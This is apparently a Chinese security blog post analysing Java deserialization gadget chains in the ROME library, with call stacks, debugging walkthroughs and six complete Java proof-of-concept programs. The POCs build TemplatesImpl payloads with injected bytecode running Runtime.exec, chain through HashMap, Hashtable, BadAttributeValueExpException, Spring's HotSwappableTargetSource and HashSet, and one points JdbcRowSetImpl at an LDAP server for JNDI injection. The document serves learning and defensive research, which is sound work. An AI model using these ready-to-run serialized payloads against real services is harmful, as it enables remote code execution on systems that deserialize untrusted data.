ROME攻击链分析
2024-08-09 18:25:04

什么是 ROME

ROME 是一个关于 RSS 和 Atom 格式的 java 框架
那什么是 RSS 和 Atom 呢?
RSS 全称:RDF Site Summary 或 Really Simple Syndication,中文翻译为简易信息聚合,也叫做聚合内容。它是一种消息来源的格式,主要作用用在聚合多个网站的更新内容,并且能够自动通知网站订阅者。同时 RSS 能够以摘要的形式将信息呈现,帮助订阅者快速游览。(比如 bilibili 的动态?)
Atom 本身就是一个名词,它更加具体的名称是 Atom Syndication Format ,中文译为 Atom 供稿格式。Atom 的诞生是为了解决 RSS 在各个版本遇到的问题,降低 web 内容聚合的难度,特地特出来的一种信息格式。
RSS 的内容需要通过 RSS 阅读器查看,而 ROME 就是其中一个比较老的 RSS 阅读器了。

环境搭建

1
2
3
4
5
6
7
8
9
10
<dependency>  
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>

ROME 组件分析

0x01 ToStringBean

我们先看他的结构
image.png
然后理解一下这个类是用来干什么的?从名称我们可以得知,它主要作用是用来打印信息的,所有方法都是用来 print 和 toString。要想将目标类信息打印出来,首先就应该获取对应类信息,那获取对应类信息最直接的就是 get 方法了,这里获取类属性值就是通过对应类的 get 方法获取的
我们重点看 toString 方法
在 toString 有参方法中,它会接收一段 StringBuffer 参数(类字节码),在经过信息处理和特征获取后,他会经历一段 for 循环,用来循环遍历类中的 get 方法,并且在最后执行该 get 方法
image.png
for 循环里面是通过getReadMethod()方法来获取 get 方法的
image.png
获取完 get 方法之后还会经过一层 if 的判断筛选,条件如下

首先当前 get 方法数组的值不能为空
不能是 Object 父类的 get 方法
过滤有参数的 get 方法

在经过这三层筛选之后,直接invoke 方法调用
与 toString 有参方法有联系的只有 toString 的无参方法了,我们的思路是能够通过调用 toString 无参方法间接去调用有参的 toString,或者直接调有参 toString 也行
image.png
这里最开始的思路是通过 hashMap CC6 那条链子起手,通过调用**EqualsBean **的 beanHashCode()方法,进一步调到 toString 无参方法

0x02 EqualsBean

他也能作为一段 ROME 链的最终触发点,也就是调用 get 方法
触发点在它的beanEquals 方法中,整体逻辑和 toStringBean 的 tosting 差不多,都是获取到 get 方法之后通过 invoke 调用,但由于他是 equals 方法的缘故,要两者进行比较,所以会两次调用 get 方法,来判断两者是否相等,这一点在我们之后分析它的攻击链时会用到

ROME 链流程分析

0x01 ObjectBean利用链

1
2
3
4
5
6
7
8
HashMap<K,V>.readObject(ObjectInputStream)
HashMap<K,V>.hash(Object)
ObjectBean.hashCode()
EqualsBean.hashCode()
EqualsBean.beanHashCode()
ToStringBean.toString()
ToStringBean.toString(String)
TemplatesImpl.getOutputProperties()

最后就是 fastjson 中最常见的通过getOutputProperties 链去加载字节码了
POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class POC {
public static void main(String[] args) throws Exception{
//javassist写恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

//反射对TemplateImpl复制,常规的bytecodes(恶意字节码) _name _tfactory不为空的限制
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

//配置ToStringBean中的_beanClass,指定要toString出的类
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");

setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);

ByteArrayOutputStream bs = unSerial(hashMap);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}
private static ByteArrayOutputStream unSerial(Map hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}


private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

1x01 流程分析

初步的断点打在 readObject 方法处
image.png
然后我们跟进其 readObject,很熟悉的流程,就不多做赘述了
image.png
后续直接跟进到 ObjectBean 的 hashCode
image.png
这里会调用到 equalsBean 的 beanHashCode(),继续跟进
由于刚才我们赋值的时候给 _obj 赋值上了构造好的 toStringBean,这里直接调 toStringBean 的无参 toString
image.png
这里直接一路跟到有参 toString 就行,先是通过 getPropertyDescriptors 方法获取到关于 TemplatesImpl 的包装类,然后通过包装类 pds 的 getReadMethod 方法获取所有的 get 方法
image.png
这里第一个就是获取 getOutputProperties 方法
返回之后开始调用,直接跟进 invoke
image.png
跟进到 TemplateImpl 的getOutputProperties 方法,这里会调用 newTransformer()方法
image.png
后续就是 newTransformer->getTransletInstance()->defineTransletClasses()->loader.defineClass 加载恶意类的流程,不过多赘述
其实 ObjectBean 这条链子还是好分析,毕竟大部分内容都是我们之前学过的,只有中间 toStringBean 方法会调用类中 get 方法的特性是第一次接触

0x02 HashTable利用链

针对 HashMap 被 ban 的情况,其实就是 CC7 和 CC6 的区别、
在 HashTable 的 readObject 方法中,他会对 HashTable 中的每一个元素都调用 reconstitutionPut 方法
image.png
之前这里还存在一个 hash 碰撞的问题,只不过具体的要进入 for 循环调用 equals 方法,我们这里需要调用到 hashcode 方法就行,没必要考虑这个问题
image.png
后面 hashcode 就是接ObjectBean利用链后段了
调用栈如下

1
2
3
4
5
6
7
8
HashTable.readObject(ObjectInputStream)
HashTable.reconstitutionPut()
ObjectBean.hashCode()
EqualsBean.hashCode()
EqualsBean.beanHashCode()
ToStringBean.toString()
ToStringBean.toString(String)
TemplatesImpl.getOutputProperties()

POC 如下:
把 hashmap 换成 hashtable 就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class HashTablePOC {
public static void main(String[] args) throws Exception{
//javassist写恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

//反射对TemplateImpl复制,常规的bytecodes(恶意字节码) _name _tfactory不为空的限制
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

//配置ToStringBean中的_beanClass,指定要toString出的类
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean, "x");

setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);

ByteArrayOutputStream bs = unSerial(hashtable);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}
private static ByteArrayOutputStream unSerial(Map hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}


private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

流程就不跟进到了,后程一样

0x03 BadAttributeValueExpException

CC5 的 BadAttributeValueExpException,他的 readObject 方法能够直接调用 toString 方法
image.png
调用的是 valObj 的 toString,我们看看前面 valObj 是通过反射 ObjectInputStream.GetField,然后获取到 val 参数的值,那我们也直接反射写入就行
只不过这样利用链就稍微有点变化了,我们可以直接调用 ToStringBean 的无参 toString()方法了
调用栈如下:

1
2
3
4
BadAttributeValueExpException.readObject()
ToStringBean.toString()
ToStringBean.toString(String)
TemplatesImpl.getOutputProperties()

POC 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class BadAttributeValueExpExceptionPOC {
public static void main(String[] args) throws Exception{
//javassist写恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

//反射对TemplateImpl复制,常规的bytecodes(恶意字节码) _name _tfactory不为空的限制
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException,"val",toStringBean);
// 执行序列化与反序列化,并且返回序列化数据
ByteArrayOutputStream bs = unSerial(badAttributeValueExpException);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

1x01 调用流程分析

稍微分析一下
断点还是打在 readObject 方法上,跟进
由于刚才我们对 badAttributeValueExpException 反射赋值了 val 为 toStringBean 类,所以这里应该会直接到toStringBean 的 toString()
image.png
一路跟进到有参 toString,invoke 调用
image.png
后续就不跟了,一样的流程

0x04 HotSwappableTargetSource 利用链

image.png
这条链子属于 spring 原生 toString 利用链,也就是在目标有 spring 依赖的情况下,可以尝试这条链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.28</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.28</version>
</dependency>

1x01 功能分析

HotSwappableTargetSource 位于org.springframework.aop.target包下,可以在代理 bean 运行的过程中,动态实时更新 bean 对象,也就是热加载
image.png
其中的方法大多都是用来对目标 bean 的操作,以及获取 bean 的相关信息为主,至于利用链,我们拼接了它的 equals 方法
image.png
其中 target 值是可控的,直接构造方法中传值进去就行
image.png
后续的调用涉及到XString这个类,他是关于 Xpath 相关操作的类,具体就不看了
image.png
直接看它的 equals 方法,最终调用到了 obj2 的 toString 方法,这里 obj2 的赋值有点讲究,我们回顾之前 equals 方法的内容,quals 方法的参数是 that.target,并且这个 that 的类型是HotSwappableTargetSource 本身,所以我们这里需要两次实例化不同的HotSwappableTargetSource,第一次实例化构造 target 为 Xstring,第二次实例化新的HotSwappableTargetSource,target 构造为 toStringBean,这样才能保证 obj2 被赋值为 toStringBean
image.png
image.png
接着后续就是直接调用 toStringBean 的 toString 方法就行

1x02 流程利用分析

后半段的流程已经分析完毕,现在集中解决上半段触发的问题,此时我脑海中有两种思路,一种是通过 hashmap 的 readObject 作为入口,后续触发putVal 那一条,还有一种思路是通过 HashTable 的 readObject 去触发。两者我都去尝试一下了,hashmap 是肯定是可以的,但是 hashtable 要想触发 euals 方法就必须经过 hash 碰撞,这里不是说我们不能满足 hash 碰撞,而是我们现在的目标类HotSwappableTargetSource,他本身就不是 map 类型,导致我们无法”yy”,”zZ”字符串去绕过 hash 碰撞问题,所以暂时只分析 hashmap
hashMap 的 readObject 入口,当调用到 putval 方法时,也会在其中调用到 equals 方法
image.png

2x01 hashMap 入口

调用栈如下:

1
2
3
4
5
HashMap.readObject
HashMap.putVal
HotSwappableTargetSource.equals
XString.equals
ToStringBean.toString

POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class HotSwappableTargetSourcePOC {
public static void main(String[] args)throws Exception {

//利用javassist写恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

//反射对TemplateImpl复制,常规的bytecodes(恶意字节码) _name _tfactory不为空的限制
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("x"));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);


HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
ByteArrayOutputStream bs = unSerial(hashMap);
}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}

}

3x01 流程分析

入口点打在 readObject,然后跟进到 hashmap 的 readobject 方法
然后持续跟进到 for 循环处,注意这里的第一次 key 的传值,是 slot_9,也就是我们 POC 中第一次put 的HotSwappableTargetSource
image.png
然后跟进 putval,来到第二次 if 判断,这里要使 p 不等 null,才能走进 else 内容,触发 equals 方法
image.png
但是当前 tab,也就是当前这个 hashmap 所有内容为空,所以不论我们现在 i 算出来多少作为键,tab 中取出的一定是 null,所以第一次进 putval 是无法触发后续链子的,这也是为什么我们 POC 要两次实例化不同的 HotSwappableTargetSource,后续就没有意义了,就是走进 if 判断成功的内容,然后将我们第一个HotSwappableTargetSource(带有XString 实体) 压入临时 tab
那么继续第二次 putval 的跟进,此时 i 算出来的键值可以正好在临时 tab 缓存中取到我们刚才压入的 Hot,所以这里 p 取出不为 null,并且由于两次 putval 我们的作用对象都是 HotSwappableTargetSource 类型,两者的 hash 算出来一定是一样的,所以 if 前半段条件也会通过,后续 key 值就是我们第一次 putval 带有 toStringBean 的HotSwappableTargetSource 了,然后 k 值就是我们本次 putval 带有 XString 的 HotSwappableTargetSource
image.png
所以这里就可以跟进 equals 方法了
(分析到这里时我换了 spring5 版本的依赖,原因是 spring6 肯定不与 jdk8 兼容,升高 jdk 会导致一些类找不到,所以这里权衡之下选择降低 spring 的版本为 5,equals 方法有所区别了,但思路依旧)
image.png
那么这里就开始调用 Xstring 的 equals 方法了,obj2 被构造为了 toStringBean
image.png
后续就是 toStringBean 熟悉的流程了,不跟进了

0x05 JdbcRowSetImpl利用链

相信之前 fastjson 利用的时候应该很熟悉了,只不过利用点完全不同,fastjson 是利用的 set 方法,RMOE 中只会调用 get 方法,所以这里是调用其 get 方法触发的
这个 get 方法是getDatabaseMetaData,他调用了 connect 方法了
image.png
又是熟悉的调用InitialContext的 lookup 方法引起的 JNDI 注入标记
image.png
lookup 里面的参数我们保证可控,跟进 getDataSourceName
到了父类 BaseRowSet 的 getDataSourceName 方法, 他直接返回 dataSource 属性
image.png
这里 dataSource 属性的设定依然还是要调用到 JdbcRowImpl 的setDataSourceName 方法,然后调用回 BaseRowSet 的setDataSourceName
image.png
那参数可控的限制也解除,现在只需要考虑入口点怎么选了,其实前面的触发点都能够作为我们这里的入口点,JdbcRowImpl 的攻击手段在 ROME 反序列化中属于一个后续利用,也就是说我们可以不用去通过加载恶意类实现 RCE 了

1x01 攻击实现

先看 hashmap 的入口

1
2
3
4
5
6
7
8
HashMap<K,V>.readObject(ObjectInputStream)
HashMap<K,V>.hash(Object)
ObjectBean.hashCode()
EqualsBean.hashCode()
EqualsBean.beanHashCode()
ToStringBean.toString()
ToStringBean.toString(String)
JdbcRowSetImpl.getDataSourceName

选择 hashmap
这里 JNDI 注入有很多选择,自己本地起一个 LDAP 或者 RMI 服务,或者用其他工具起也行,我这里用的 Yakit
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class JdbcRowSetImplPOC {
public static void main(String[] args) throws Exception{


JdbcRowSetImpl JRSI=new JdbcRowSetImpl();
JRSI.setDataSourceName("ldap://192.168.86.135:8078/BkooPVXv");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,JRSI);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");
setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);

ByteArrayOutputStream bs = unSerial(hashMap);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}
private static ByteArrayOutputStream unSerial(Map hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}


private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

0x06 EqualsBean链

上文我们第一次分析 ObjectBean 链的时候就途径 EqualsBean, 其实 EqualsBean 本身就能够当作和 toStringBean 一类的最终触发点,这里只不过要想调用 get 方法需要通过其 beanEquals 方法
image.png

1x01 流程分析

equalsBean 的组件分析文章开头分析过了,这里就直接分析攻击链了

1
2
3
4
5
6
7
8
HashSet.readObject
HashMap.put
HashMap.putval
HashMap.equals
AbastractMap.equals
EqualsBean.equals
EqualsBean.beanEquals
TemplatesImpl.getOutputProperties()

其实这里 HashSet 也算是一个新的入口点,对于EqualsBean 方向的攻击来说,只要能够触发到 equals 方法,我们都能接着往下走,所以前面还能换成

1
2
3
4
5
6
7
HashTable.readObject(ObjectInputStream)
HashTable.reconstitutionPut()
HashMap.equals
AbastractMap.equals
EqualsBean.equals
EqualsBean.beanEquals
TemplatesImpl.getOutputProperties()

hashtable 的 hash 碰撞就不讲了,但是 hashset 的处理方式要讲一下,跟 hashtable 的 hash 碰撞差不多,都是利用 yy zZ 两个字符串算出来的 hash 值相同

2x01 hashSet 分析

我们来到它的 readObject 方法相关的 for 循环
image.png
这里 map 默认会被赋值为 hashmap,所以之后会调用 hashmap 的 put 方法
image.png
熟悉的调用 putval,第一次进由于缓存 tab 里面没有值,所以第一次 if 判断 p 是否为空是一定满足不了的
image.png
所以这里我们可能考虑要 hashset add 两次 equalsbean,不然第二次进入 putval 会报空错。
想要调用到 equals 方法,if 判断条件中,第一个判断p.hash == hash也必须过,这里如果是直接 add 两个equalsbean 就不用管,算出来肯定一样(但是后续就要考虑和 hashtable 同样的 hash 碰撞了)
第二次进入之后,顺利来到下面的这层判断,准备触发 equals

1
if (p.hash == hash &&((k = p.key) == key || (key != null && key.equals(k))))

如果我们刚才直接给 hashset add 进 equalsbean ,其中传入 equals 方法的参数 k 还是 equalsbean,这也不行,我们考虑其中加一层 hashmap 来包裹 equalsbean

hashmap 的 equals 方法会调用到它的抽象类 Abstractmap 的 equals 方法,在它的 quals 方法中,他首先会通过 Iterator 迭代器,对我们当前 hashmap 作用,能够访问到当前 hashmap 的各个键值对。
这里就是调用了 next 方法,取第二个键值对(假设此时键值对<a,a> <b,b>) <b,b>,然后取出它的 key 和 value,各为 b。然后这里调用 b 的 equals 方法,参数是 m 的键值 value,m 是什么?上面代码中制定了 m 是我们当前的 hashmap。key 是我们刚才取出的 b,也就是说,它会在两个 hashmap 中相互取值,这里比较绕,我们之后看 POC 能明白些
image.png

2x02 攻击流程分析

上述难关通关后,就可以正常调用链了,如果思路没错的话,我们直接看 POC,经测试,不论是 hashtable 还是 hashset 都能够这么用,各自的条件都已经注释好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class EqualsBeanPOC {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
EqualsBean bean = new EqualsBean(String.class, "s");
//EqualsBean bean2 =new EqualsBean(String.class, "s");


HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", templatesImpl);
map2.put("zZ", bean);
map2.put("yy", templatesImpl);
//Hashtable hashtable =new Hashtable();
HashSet hashSet=new HashSet();
hashSet.add(map1);
hashSet.add(map2);
//hashtable.put(map1,"1");
//hashtable.put(map2,"2");
setFieldValue(bean, "_beanClass", Templates.class);
setFieldValue(bean, "_obj", templatesImpl);
unSerial(hashSet);
}

private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}


private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}

}

断点打在 readObject,跟进,然后顺利的来到 for 循环,第一次进 putval 肯定是不能够触发后续链的,但他会先给缓存 tab 赋值,把第一个 hashmap 存入进去
image.png
我们直接跟进第二次 putval,此时两段 hash 算出来肯定是一样的,我们只需关注 key 值和 k 值即可,分别为我们本次循环 put 的 hashmap,以及第一次 put ,被存入 tab 缓存的 hashmap
image.png
继续跟进 equals 方法
image.png
m 值为我们传入的第一次的 hashmap,i 为关于第二个 hashmap 的迭代器,迭代器第一次初始化取到的键值对默认为空,所以它第一次 next 就是取出我们第二个 hashmap 的第一个键值对,也就是<"zZ",equalsbean>,所以 key 是 zZ 字符串,value 是创建好的 qualsbean
最终 value.equals(m.get(key)) 转化为EqualsBean.equals(templatesImpl)
后续触发就是正常流程了,EqualsBean 的 equals 方法直接 return beanEquals 处理的结果,所以跟进beanEquals
image.png
获取完 get 方法之后开始第一次调用,此时调用就是 TemplatesImpl 的 getOutputProperties 方法
之后就是加载恶意字节码的流程,不过多赘述

总结

用 EqualsBean 的方式去触发链其实不只有 hashset 方法可以作为入口点,以及也不只 templatesImpl 作为最终恶意代码执行的点,它和 ToStringBean 一样,都只是作为攻击链其中的一部分。不过最重要的点还是它两作为 ROME 依赖中组件的特性,就是会调用目标类的 get 方法,这也是存在恶意代码执行的必要条件。
我们学习 ROME 链的时候要和 CommonCollections 链联系起来,虽然 CC 是最开始我们学习 java 反序列化的先导,但其实两者是很像的。分析 ROME 链,我最大的感受可能是对 CC 链等依赖中存在的攻击链新的认识,其实就是分析 java 项目中存在哪些依赖,该依赖有没有漏洞点,能不能作为我最终攻击的跳板。